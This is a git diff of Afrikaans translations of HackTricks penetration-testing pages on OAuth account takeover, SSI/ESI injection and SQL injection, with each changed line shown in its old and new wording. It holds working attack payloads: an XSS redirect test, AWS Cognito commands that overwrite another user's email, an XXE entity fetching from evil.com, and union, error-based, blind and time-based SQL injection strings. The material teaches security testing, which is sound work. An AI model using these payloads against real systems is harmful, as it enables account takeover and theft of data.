Eksploitasiemetodes verskil op grond van die magtigingsbediener se valideringslogika. Dit kan wissel van streng pad ooreenstemming tot die aanvaarding van enige URL binne die gespesifiseerde domein of subgids. Algemene eksploitasie metodes sluit open redirects, pad traversering, die benutting van swak regexes, en HTML-inspuiting vir token-diefstal in.
|
||||
Eksploitasiemetodes verskil op grond van die magtiging bediener se valideringslogika. Dit kan wissel van streng pad ooreenstemming tot die aanvaarding van enige URL binne die gespesifiseerde domein of subgids. Algemene eksploitasiemetodes sluit open redirects, pad traversering, die benutting van swak regexes, en HTML-inspuiting vir token-diefstal in.
|
||||
|
||||
Benewens `redirect_uri`, is ander OAuth en OpenID parameters soos `client_uri`, `policy_uri`, `tos_uri`, en `initiate_login_uri` ook kwesbaar vir herleiding aanvalle. Hierdie parameters is opsioneel en hul ondersteuning verskil oor bedieners.
|
||||
Benewens `redirect_uri`, is ander OAuth en OpenID parameters soos `client_uri`, `policy_uri`, `tos_uri`, en `initiate_login_uri` ook kwesbaar vir herleidingaanvalle. Hierdie parameters is opsioneel en hul ondersteuning verskil oor bedieners.
|
||||
|
||||
Vir diegene wat 'n OpenID-bediener teiken, lys die ontdekking eindpunt (`**.well-known/openid-configuration**`) dikwels waardevolle konfigurasiedetails soos `registration_endpoint`, `request_uri_parameter_supported`, en "`require_request_uri_registration`. Hierdie besonderhede kan help om die registrasie eindpunt en ander konfigurasiespesifieke van die bediener te identifiseer.
|
||||
Vir diegene wat 'n OpenID bediener teiken, lys die ontdekking eindpunt (`**.well-known/openid-configuration**`) dikwels waardevolle konfigurasiedetails soos `registration_endpoint`, `request_uri_parameter_supported`, en "`require_request_uri_registration`. Hierdie besonderhede kan help om die registrasie eindpunt en ander konfigurasiespesifieke van die bediener te identifiseer.
|
||||
|
||||
### XSS in redirect implementasie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Soos genoem in hierdie bug bounty verslag [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) mag dit moontlik wees dat die redirect **URL in die antwoord** van die bediener na die gebruiker se outentisering **reflekteer**, wat **kwesbaar is vir XSS**. Moontlike payload om te toets:
|
||||
Soos genoem in hierdie bug bounty verslag [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) mag dit moontlik wees dat die redirect **URL in die antwoord** van die bediener na die gebruiker se outentisering **reflekteer**, wat **kwesbaar is vir XSS**. Moglike payload om te toets:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
@ -83,14 +82,14 @@ Behoorlike hantering en verifikasie van die **`state` parameter** is van kardina
|
||||
|
||||
### Voor Rekening Oorname <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Sonder E-pos Verifikasie by Rekening Skep**: Aanvallers kan proaktief 'n rekening skep met die slagoffer se e-pos. As die slagoffer later 'n derdeparty diens vir aanmelding gebruik, kan die toepassing per ongeluk hierdie derdeparty rekening aan die aanvaller se vooraf geskepte rekening koppel, wat lei tot ongeoorloofde toegang.
|
||||
2. **Misbruik van Los OAuth E-pos Verifikasie**: Aanvallers kan OAuth dienste misbruik wat nie e-posse verifieer nie deur met hul diens te registreer en dan die rekening e-pos na die slagoffer s'n te verander. Hierdie metode hou soortgelyke risiko's van ongeoorloofde rekening toegang in, soortgelyk aan die eerste scenario, maar deur 'n ander aanvalsvector.
|
||||
1. **Sonder E-pos Verifikasie by Rekening Skep**: Aanvallers kan proaktief 'n rekening skep met die slagoffer se e-pos. As die slagoffer later 'n derdeparty diens vir aanmelding gebruik, kan die toepassing per ongeluk hierdie derdeparty rekening aan die aanvaller se vooraf geskepte rekening koppel, wat lei tot ongemagtigde toegang.
|
||||
2. **Misbruik van Los OAuth E-pos Verifikasie**: Aanvallers mag OAuth dienste misbruik wat nie e-posse verifieer nie deur met hul diens te registreer en dan die rekening e-pos na die slagoffer s'n te verander. Hierdie metode hou soortgelyke risiko's van ongemagtigde rekening toegang in, soortgelyk aan die eerste scenario, maar deur 'n ander aanvalsvector.
|
||||
|
||||
### Onthulling van Geheime <a href="#e177" id="e177"></a>
|
||||
|
||||
Identifisering en beskerming van geheime OAuth parameters is van kardinale belang. Terwyl die **`client_id`** veilig bekend gemaak kan word, hou die onthulling van die **`client_secret`** aansienlike risiko's in. As die `client_secret` gecompromitteer word, kan aanvallers die identiteit en vertroue van die toepassing benut om **gebruikers `access_tokens`** en private inligting te **steel**.
|
||||
Identifisering en beskerming van geheime OAuth parameters is van kardinale belang. Terwyl die **`client_id`** veilig onthul kan word, hou die onthulling van die **`client_secret`** aansienlike risiko's in. As die `client_secret` gecompromitteer word, kan aanvallers die identiteit en vertroue van die toepassing benut om **gebruikers `access_tokens`** en private inligting te **steel**.
|
||||
|
||||
'n Algemene kwesbaarheid ontstaan wanneer toepassings per ongeluk die uitruil van die magtiging `code` vir 'n `access_token` aan die kliëntkant hanteer eerder as die bedienerkant. Hierdie fout lei tot die blootstelling van die `client_secret`, wat dit aanvallers moontlik maak om `access_tokens` onder die dekmantel van die toepassing te genereer. Boonop, deur sosiale ingenieurswese, kan aanvallers voorregte verhoog deur addisionele skope by die OAuth magtiging te voeg, wat die toepassing se vertroude status verder benut.
|
||||
'n Algemene kwesbaarheid ontstaan wanneer toepassings per ongeluk die uitruil van die magtiging `code` vir 'n `access_token` aan die kliënt-kant hanteer eerder as die bediener-kant. Hierdie fout lei tot die blootstelling van die `client_secret`, wat dit aanvallers moontlik maak om `access_tokens` onder die dekmantel van die toepassing te genereer. Boonop, deur sosiale ingenieurswese, kan aanvallers voorregte verhoog deur addisionele skope aan die OAuth magtiging toe te voeg, wat die toepassing se vertroude status verder benut.
|
||||
|
||||
### Kliënt Geheim Bruteforce
|
||||
|
||||
@ -111,15 +110,15 @@ Sodra die kliënt die **code en state** het, as dit **binne die Referer header w
|
||||
|
||||
### Toegangstoken gestoor in Blaaier Geskiedenis
|
||||
|
||||
Gaan na die **blaaier geskiedenis en kyk of die toegangstoken daar gestoor is**.
|
||||
Gaan na die **blaaier geskiedenis en kyk of die toegangstoken daarin gestoor is**.
|
||||
|
||||
### Ewige Magtiging Code
|
||||
### Ewige Outeurskode
|
||||
|
||||
Die **magtigingskode moet net vir 'n kort tydjie bestaan om die tydsvenster te beperk waarbinne 'n aanvaller dit kan steel en gebruik**.
|
||||
Die **auteurskode moet net vir 'n kort tydjie bestaan om die tydsvenster te beperk waarbinne 'n aanvaller dit kan steel en gebruik**.
|
||||
|
||||
### Magtiging/Herlaai Token nie aan kliënt gebind nie
|
||||
### Outeurs-/Herlaai Token nie aan kliënt gebind nie
|
||||
|
||||
As jy die **magtigingskode kan kry en dit met 'n ander kliënt kan gebruik, dan kan jy ander rekeninge oorneem**.
|
||||
As jy die **auteurskode kan kry en dit met 'n ander kliënt kan gebruik, kan jy ander rekeninge oorneem**.
|
||||
|
||||
### Gelukkige Paaie, XSS, Iframes & Post Berigte om kode & state waardes te lek
|
||||
|
||||
@ -127,7 +126,7 @@ As jy die **magtigingskode kan kry en dit met 'n ander kliënt kan gebruik, dan
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
In hierdie foutbounty verslag: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) kan jy sien dat die **token** wat **AWS Cognito** aan die gebruiker teruggee, dalk **genoeg toestemmings het om die gebruikersdata te oorskryf**. Daarom, as jy die **gebruikers e-pos vir 'n ander gebruikers e-pos kan verander**, mag jy in staat wees om **ander** rekeninge oor te neem.
|
||||
In hierdie foutbounty verslag: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) kan jy sien dat die **token** wat **AWS Cognito** aan die gebruiker teruggee, **voldoende regte mag hê om die gebruikersdata te oorskryf**. Daarom, as jy die **gebruikers e-pos vir 'n ander gebruikers e-pos kan verander**, mag jy in staat wees om **ander** rekeninge oor te neem.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
@ -146,7 +145,9 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
```
|
||||
Vir meer gedetailleerde inligting oor hoe om AWS cognito te misbruik, kyk:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
### Misbruik van ander Apps tokens <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -161,24 +162,24 @@ Dit is omdat 'n **aanvaller** 'n **aansoek kan skep wat OAuth ondersteun en met
|
||||
|
||||
Volgens [**hierdie skrywe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), was dit moontlik om 'n slagoffer 'n bladsy te laat oopmaak met 'n **returnUrl** wat na die aanvaller se gasheer wys. Hierdie inligting sou **in 'n koekie (RU)** gestoor word en in 'n **latere stap** sal die **prompt** die **gebruiker** vra of hy toegang wil gee tot daardie aanvaller se gasheer.
|
||||
|
||||
Om hierdie prompt te omseil, was dit moontlik om 'n oortjie te open om die **Oauth vloei** te begin wat hierdie RU koekie met die **returnUrl** sou stel, die oortjie te sluit voordat die prompt vertoon word, en 'n nuwe oortjie te open sonder daardie waarde. Dan, die **prompt sal nie oor die aanvaller se gasheer inligting gee nie**, maar die koekie sou daartoe gestel word, sodat die **token na die aanvaller se gasheer gestuur sal word** in die herleiding.
|
||||
Om hierdie prompt te omseil, was dit moontlik om 'n oortjie te open om die **Oauth vloei** te begin wat hierdie RU koekie met die **returnUrl** sou stel, die oortjie te sluit voordat die prompt vertoon word, en 'n nuwe oortjie te open sonder daardie waarde. Dan, die **prompt sal nie oor die aanvaller se gasheer inligting gee nie**, maar die koekie sou aan dit gestel word, sodat die **token na die aanvaller se gasheer gestuur sal word** in die herleiding.
|
||||
|
||||
### Prompt Interaksie Omseiling <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), laat sommige OAuth implementasies toe om die **`prompt`** GET parameter as None (**`&prompt=none`**) aan te dui om **te voorkom dat gebruikers gevra word om die gegewe toegang in 'n prompt op die web te bevestig as hulle reeds in die platform aangemeld is**.
|
||||
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), laat sommige OAuth implementasies toe om die **`prompt`** GET parameter as None (**`&prompt=none`**) aan te dui om **te voorkom dat gebruikers gevra word om die gegewe toegang in 'n prompt op die web te bevestig** as hulle reeds in die platform aangemeld is.
|
||||
|
||||
### response_mode
|
||||
|
||||
Soos [**verduidelik in hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), mag dit moontlik wees om die parameter **`response_mode`** aan te dui om aan te dui waar jy wil hê die kode in die finale URL verskaf moet word:
|
||||
Soos [**verduidelik in hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), mag dit moontlik wees om die parameter **`response_mode`** aan te dui om aan te dui waar jy wil hê die kode in die finale URL moet verskaf word:
|
||||
|
||||
- `response_mode=query` -> Die kode word binne 'n GET parameter verskaf: `?code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> Die kode word binne die URL fragment parameter `#code=2397rf3gu93f` verskaf
|
||||
- `response_mode=fragment` -> Die kode word binne die URL fragment parameter verskaf `#code=2397rf3gu93f`
|
||||
- `response_mode=form_post` -> Die kode word binne 'n POST vorm met 'n invoer genaamd `code` en die waarde verskaf
|
||||
- `response_mode=web_message` -> Die kode word in 'n pos boodskap gestuur: `window.opener.postMessage({"code": "asdasdasd...`
|
||||
|
||||
### OAuth ROPC vloei - 2 FA omseiling <a href="#b440" id="b440"></a>
|
||||
|
||||
Volgens [**hierdie blogpos**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), is dit 'n OAuth vloei wat toelaat om in OAuth aan te meld via **gebruikersnaam** en **wagwoord**. As tydens hierdie eenvoudige vloei 'n **token** met toegang tot al die aksies wat die gebruiker kan uitvoer teruggestuur word, dan is dit moontlik om 2FA te omseil met behulp van daardie token.
|
||||
Volgens [**hierdie blogpos**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), is dit 'n OAuth vloei wat toelaat om in OAuth aan te meld via **gebruikersnaam** en **wagwoord**. As tydens hierdie eenvoudige vloei 'n **token** met toegang tot al die aksies wat die gebruiker kan uitvoer, teruggestuur word, dan is dit moontlik om 2FA met daardie token te omseil.
|
||||
|
||||
### ATO op webblad wat herlei op grond van oop herleiding na verwysing <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -191,14 +192,14 @@ Hierdie [**blogpos**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) be
|
||||
|
||||
### SSRFs parameters <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Kyk hierdie navorsing**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Vir verdere besonderhede oor hierdie tegniek.**
|
||||
[**Kyk hierdie navorsing**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Vir verdere besonderhede van hierdie tegniek.**
|
||||
|
||||
Dinamiese Kliënt Registrasie in OAuth dien as 'n minder voor die hand liggende maar kritieke vektor vir sekuriteitskwesbaarhede, spesifiek vir **Server-Side Request Forgery (SSRF)** aanvalle. Hierdie eindpunt laat OAuth bedieners toe om besonderhede oor kliënt aansoeke te ontvang, insluitend sensitiewe URL's wat misbruik kan word.
|
||||
Dinamiese Kliënt Registrasie in OAuth dien as 'n minder voor die hand liggende maar kritieke vektor vir sekuriteits kwesbaarhede, spesifiek vir **Server-Side Request Forgery (SSRF)** aanvalle. Hierdie eindpunt laat OAuth bedieners toe om besonderhede oor kliënt aansoeke te ontvang, insluitend sensitiewe URL's wat misbruik kan word.
|
||||
|
||||
**Belangrike Punten:**
|
||||
|
||||
- **Dinamiese Kliënt Registrasie** word dikwels aan `/register` gekoppel en aanvaar besonderhede soos `client_name`, `client_secret`, `redirect_uris`, en URL's vir logo's of JSON Web Key Sets (JWKs) via POST versoeke.
|
||||
- Hierdie funksie voldoen aan spesifikasies uiteengesit in **RFC7591** en **OpenID Connect Registrasie 1.0**, wat parameters insluit wat moontlik kwesbaar is vir SSRF.
|
||||
- Hierdie funksie voldoen aan spesifikasies uiteengesit in **RFC7591** en **OpenID Connect Registrasie 1.0**, wat parameters insluit wat potensieel kwesbaar is vir SSRF.
|
||||
- Die registrasieproses kan per ongeluk bedieners aan SSRF blootstel op verskeie maniere:
|
||||
- **`logo_uri`**: 'n URL vir die kliënt aansoek se logo wat deur die bediener opgevraag kan word, wat SSRF kan aktiveer of kan lei tot XSS as die URL verkeerd hanteer word.
|
||||
- **`jwks_uri`**: 'n URL na die kliënt se JWK dokument, wat, as dit kwaadwillig saamgestel is, die bediener kan dwing om uitgaande versoeke na 'n aanvaller-beheerde bediener te maak.
|
||||
@ -219,5 +220,4 @@ As die platform wat jy toets 'n OAuth verskaffer is [**lees dit om vir moontlike
|
||||
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,7 @@ En, wanneer die bladsy bedien word, sal hierdie fragment geëvalueer word en met
|
||||
|
||||
`Dinsdag, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
Die besluit oor wanneer om SSI te gebruik, en wanneer om jou bladsy heeltemal deur 'n program te laat genereer, is gewoonlik 'n kwessie van hoeveel van die bladsy staties is, en hoeveel elke keer herbereken moet word wanneer die bladsy bedien word. SSI is 'n uitstekende manier om klein stukke inligting by te voeg, soos die huidige tyd - soos hierbo getoon. Maar as 'n meerderheid van jou bladsy teen die tyd dat dit bedien word, gegenereer word, moet jy na 'n ander oplossing soek.
|
||||
Die besluit oor wanneer om SSI te gebruik, en wanneer om jou bladsy heeltemal deur 'n program te laat genereer, is gewoonlik 'n kwessie van hoeveel van die bladsy staties is, en hoeveel elke keer herbereken moet word wanneer die bladsy bedien word. SSI is 'n uitstekende manier om klein stukke inligting by te voeg, soos die huidige tyd - soos hierbo getoon. Maar as 'n meerderheid van jou bladsy gegenereer word op die tydstip dat dit bedien word, moet jy na 'n ander oplossing soek.
|
||||
|
||||
Jy kan die teenwoordigheid van SSI aflei as die webtoepassing lêers met die uitbreidings**`.shtml`, `.shtm` of `.stm`** gebruik, maar dit is nie die enigste geval nie.
|
||||
|
||||
@ -56,8 +56,8 @@ Jy kan die teenwoordigheid van SSI aflei as die webtoepassing lêers met die uit
|
||||
```
|
||||
## Edge Side Inclusion
|
||||
|
||||
Daar is 'n probleem **met die kas van inligting of dinamiese toepassings** aangesien die **inhoud** vir die volgende keer wat die inhoud verkry word, **verskillend** mag wees. Dit is waarvoor **ESI** gebruik word, om aan te dui met ESI-tags die **dinamiese inhoud wat gegenereer moet word** voordat die kasweergawe gestuur word.\
|
||||
As 'n **aanvaller** in staat is om 'n **ESI-tag** binne die kasinhoud te **injekteer**, kan hy in staat wees om **arbitraire inhoud** op die dokument in te voeg voordat dit aan die gebruikers gestuur word.
|
||||
Daar is 'n probleem **met die kas van inligting of dinamiese toepassings** aangesien 'n deel van die inhoud **verskillend** mag wees vir die volgende keer dat die inhoud opgehaal word. Dit is waarvoor **ESI** gebruik word, om aan te dui met ESI-tags die **dinamiese inhoud wat gegenereer moet word** voordat die kasweergawe gestuur word.\
|
||||
As 'n **aanvaller** in staat is om 'n **ESI-tag** binne die kasinhoud te **injekteer**, kan hy in staat wees om **arbitraire inhoud** in die dokument te **injekteer** voordat dit aan die gebruikers gestuur word.
|
||||
|
||||
### ESI Detection
|
||||
|
||||
@ -95,7 +95,7 @@ hell<!--esi-->o
|
||||
- **Vars**: Ondersteun die `<esi:vars>` riglyn. Nuttig om XSS-filters te omseil
|
||||
- **Cookie**: Dokumentkoekies is beskikbaar vir die ESI-enjin
|
||||
- **Opwaartse Koppe Vereis**: Surrogaat toepassings sal nie ESI-verklarings verwerk nie tensy die opwaartse toepassing die koppe verskaf
|
||||
- **Gasheer Toegelaatlys**: In hierdie geval is ESI-includes slegs moontlik vanaf toegelate bediener gasheers, wat SSRF, byvoorbeeld, slegs teen daardie gasheers moontlik maak
|
||||
- **Gasheer Toegestaanlys**: In hierdie geval is ESI-includes slegs moontlik vanaf toegelate bediener-gashere, wat SSRF, byvoorbeeld, slegs teen daardie gashere moontlik maak
|
||||
|
||||
| **Sagteware** | **Includes** | **Vars** | **Koekies** | **Opwaartse Koppe Vereis** | **Gasheer Witlys** |
|
||||
| :----------------------------: | :----------: | :------: | :---------: | :------------------------: | :----------------: |
|
||||
@ -193,6 +193,8 @@ XSLT-lêer:
|
||||
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
Check die XSLT-bladsy:
|
||||
|
||||
{{#ref}}
|
||||
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
@ -205,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
|
||||
## Brute-Force Opsporing Lys
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Wat is SQL-inspuiting?
|
||||
|
||||
'n **SQL-inspuiting** is 'n sekuriteitsfout wat aanvallers toelaat om **in te gryp in databasisnavrae** van 'n toepassing. Hierdie kwesbaarheid kan aanvallers in staat stel om **te sien**, **te wysig**, of **te verwyder** data waartoe hulle nie toegang behoort te hê nie, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang kan hê. Sulke aksies kan lei tot permanente veranderinge aan die toepassing se funksionaliteit of inhoud of selfs kompromittering van die bediener of ontkenning van diens.
|
||||
'n **SQL-inspuiting** is 'n sekuriteitsfout wat aanvallers toelaat om **in te gryp in databasisnavrae** van 'n toepassing. Hierdie kwesbaarheid kan aanvallers in staat stel om **te sien**, **te wysig**, of **te verwyder** data waartoe hulle nie toegang behoort te hê nie, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang het. Sulke aksies kan lei tot permanente veranderinge aan die toepassing se funksionaliteit of inhoud of selfs kompromie van die bediener of ontkenning van diens.
|
||||
|
||||
## Toegangspuntdeteksie
|
||||
|
||||
@ -22,9 +21,9 @@ Wanneer 'n webwerf blyk te wees **kwesbaar vir SQL-inspuiting (SQLi)** weens ong
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Dan, jy moet weet hoe om die **navraag reg te stel sodat daar nie foute is nie**. Om die navraag reg te stel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaar simbool aan die einde voeg**.
|
||||
Dan moet jy weet hoe om die **navraag reg te stel sodat daar nie foute is nie**. Om die navraag reg te stel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaar simbool aan die einde byvoeg**.
|
||||
|
||||
_Let daarop dat as jy foutboodskappe kan sien of jy kan verskille opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
|
||||
_Nota dat as jy foutboodskappe kan sien of jy kan verskille opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
|
||||
|
||||
### **Kommentaar**
|
||||
```sql
|
||||
@ -65,14 +64,14 @@ page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Hierdie woordlys is geskep om te probeer om **SQL-inspuitings** op die voorgestelde manier te **bevestig**:
|
||||
Hierdie woordlys is geskep om te probeer om **SQLinjections** op die voorgestelde manier te **bevestig**:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
|
||||
### Bevestiging met Tyd
|
||||
|
||||
In sommige gevalle **sal jy geen verandering** op die bladsy wat jy toets, opgemerk nie. Daarom is 'n goeie manier om **blinde SQL-inspuitings** te **ontdek** om die DB aksies te laat uitvoer wat 'n **invloed op die tyd** sal hê wat die bladsy benodig om te laai.\
|
||||
Daarom gaan ons 'n operasie wat baie tyd sal neem om te voltooi, in die SQL-navraag concat.
|
||||
In sommige gevalle **sal jy geen verandering** op die bladsy wat jy toets, opgemerk nie. Daarom is 'n goeie manier om **blinde SQL injections** te ontdek om die DB aksies te laat uitvoer wat 'n **invloed op die tyd** sal hê wat die bladsy benodig om te laai.\
|
||||
Daarom gaan ons in die SQL-navraag 'n operasie byvoeg wat baie tyd sal neem om te voltooi:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -133,7 +132,9 @@ Ook, as jy toegang het tot die uitvoer van die navraag, kan jy dit **druk die we
|
||||
|
||||
### Identifisering met PortSwigger
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Ontginning van Union-gebaseerde
|
||||
|
||||
@ -143,7 +144,7 @@ As jy die uitvoer van die navraag kan sien, is dit die beste manier om dit te on
|
||||
Eerstens moet ons uitvind wat die **aantal** **kolomme** is wat die **aanvanklike versoek** teruggee. Dit is omdat **albei navrae dieselfde aantal kolomme moet teruggee**.\
|
||||
Twee metodes word tipies vir hierdie doel gebruik:
|
||||
|
||||
#### Order/Groep volgens
|
||||
#### Order/Groep deur
|
||||
|
||||
Om die aantal kolomme in 'n navraag te bepaal, pas die getal wat in **ORDER BY** of **GROUP BY** klousules gebruik word, geleidelik aan totdat 'n vals antwoord ontvang word. Ten spyte van die verskillende funksies van **GROUP BY** en **ORDER BY** binne SQL, kan albei identies gebruik word om die kolomtelling van die navraag te bepaal.
|
||||
```sql
|
||||
@ -171,9 +172,9 @@ Kies meer en meer null waardes totdat die navraag korrek is:
|
||||
```
|
||||
_Jy moet `null` waardes gebruik soos in sommige gevalle die tipe van die kolomme aan beide kante van die navraag dieselfde moet wees en null is geldig in elke geval._
|
||||
|
||||
### Trek databasisname, tabelname en kolomname uit
|
||||
### Trek databasisname, tabelname en kolomnamen uit
|
||||
|
||||
In die volgende voorbeelde gaan ons die naam van al die databasisse, die tabelnaam van 'n databasis, die kolomnamen van die tabel onttrek:
|
||||
In die volgende voorbeelde gaan ons die naam van al die databasisse, die tabelnaam van 'n databasis, die kolonnames van die tabel onttrek:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -188,9 +189,9 @@ _Daar is 'n ander manier om hierdie data op elke verskillende databasis te ontde
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
Wanneer die uitvoer van 'n navraag sigbaar is, maar 'n union-gebaseerde inspuiting onbereikbaar blyk te wees, dui dit op die teenwoordigheid van 'n **verborgene union-gebaseerde inspuiting**. Hierdie scenario lei dikwels tot 'n blinde inspuitingsituasie. Om 'n blinde inspuiting in 'n union-gebaseerde een te transformeer, moet die uitvoeringsnavraag op die agterkant verstaan word.
|
||||
Wanneer die uitvoer van 'n navraag sigbaar is, maar 'n union-gebaseerde inspuiting onbereikbaar blyk te wees, dui dit op die teenwoordigheid van 'n **hidden union-based injection**. Hierdie scenario lei dikwels tot 'n blinde inspuitingsituasie. Om 'n blinde inspuiting in 'n union-gebaseerde een te transformeer, moet die uitvoeringsnavraag op die agterkant verstaan word.
|
||||
|
||||
Dit kan bereik word deur die gebruik van blinde inspuitingstegnieke saam met die standaard tabelle wat spesifiek is vir jou teiken Databasisbestuurstelsel (DBMS). Om hierdie standaard tabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
|
||||
Dit kan bereik word deur die gebruik van blinde inspuitingstegnieke saam met die standaard tabelle wat spesifiek is vir jou teiken Database Management System (DBMS). Om hierdie standaard tabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
|
||||
|
||||
Sodra die navraag onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike navraag veilig te sluit. Vervolgens word 'n union-navraag by jou payload gevoeg, wat die benutting van die nuut toeganklike union-gebaseerde inspuiting fasiliteer.
|
||||
|
||||
@ -198,27 +199,27 @@ Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by [Heal
|
||||
|
||||
## Exploiting Error based
|
||||
|
||||
As jy om een of ander rede **nie** die **uitvoer** van die **navraag** kan sien nie, maar jy kan **die foutboodskappe** sien, kan jy hierdie foutboodskappe gebruik om **data uit die databasis te ex-filtreer**.\
|
||||
Volg 'n soortgelyke vloei soos in die Union Based benutting, kan jy daarin slaag om die DB te dump.
|
||||
As jy om een of ander rede **nie** die **uitvoer** van die **navraag** kan sien nie, maar jy kan **die foutboodskappe sien**, kan jy hierdie foutboodskappe gebruik om **data uit die databasis te ex-filtreer**.\
|
||||
Volg 'n soortgelyke vloei soos in die Union Based benutting, jy kan daarin slaag om die DB te dump.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Exploiting Blind SQLi
|
||||
|
||||
In hierdie geval kan jy nie die resultate van die navraag of die foute sien nie, maar jy kan **onderskei** wanneer die navraag **terugkeer** 'n **ware** of 'n **valse** antwoord omdat daar verskillende inhoud op die bladsy is.\
|
||||
In hierdie geval kan jy nie die resultate van die navraag of die foute sien nie, maar jy kan **onderskei** wanneer die navraag **terugkeer** met 'n **ware** of 'n **valse** antwoord omdat daar verskillende inhoud op die bladsy is.\
|
||||
In hierdie geval kan jy daardie gedrag misbruik om die databasis karakter vir karakter te dump:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
Dit is die **dieselfde geval as voorheen** maar in plaas daarvan om tussen 'n waar/onwaar antwoord van die navraag te onderskei, kan jy **onderskei tussen** 'n **fout** in die SQL-navraag of nie (miskien omdat die HTTP-bediener ineenstort). Daarom kan jy in hierdie geval 'n SQL-fout afdwing elke keer wanneer jy die karakter korrek raai:
|
||||
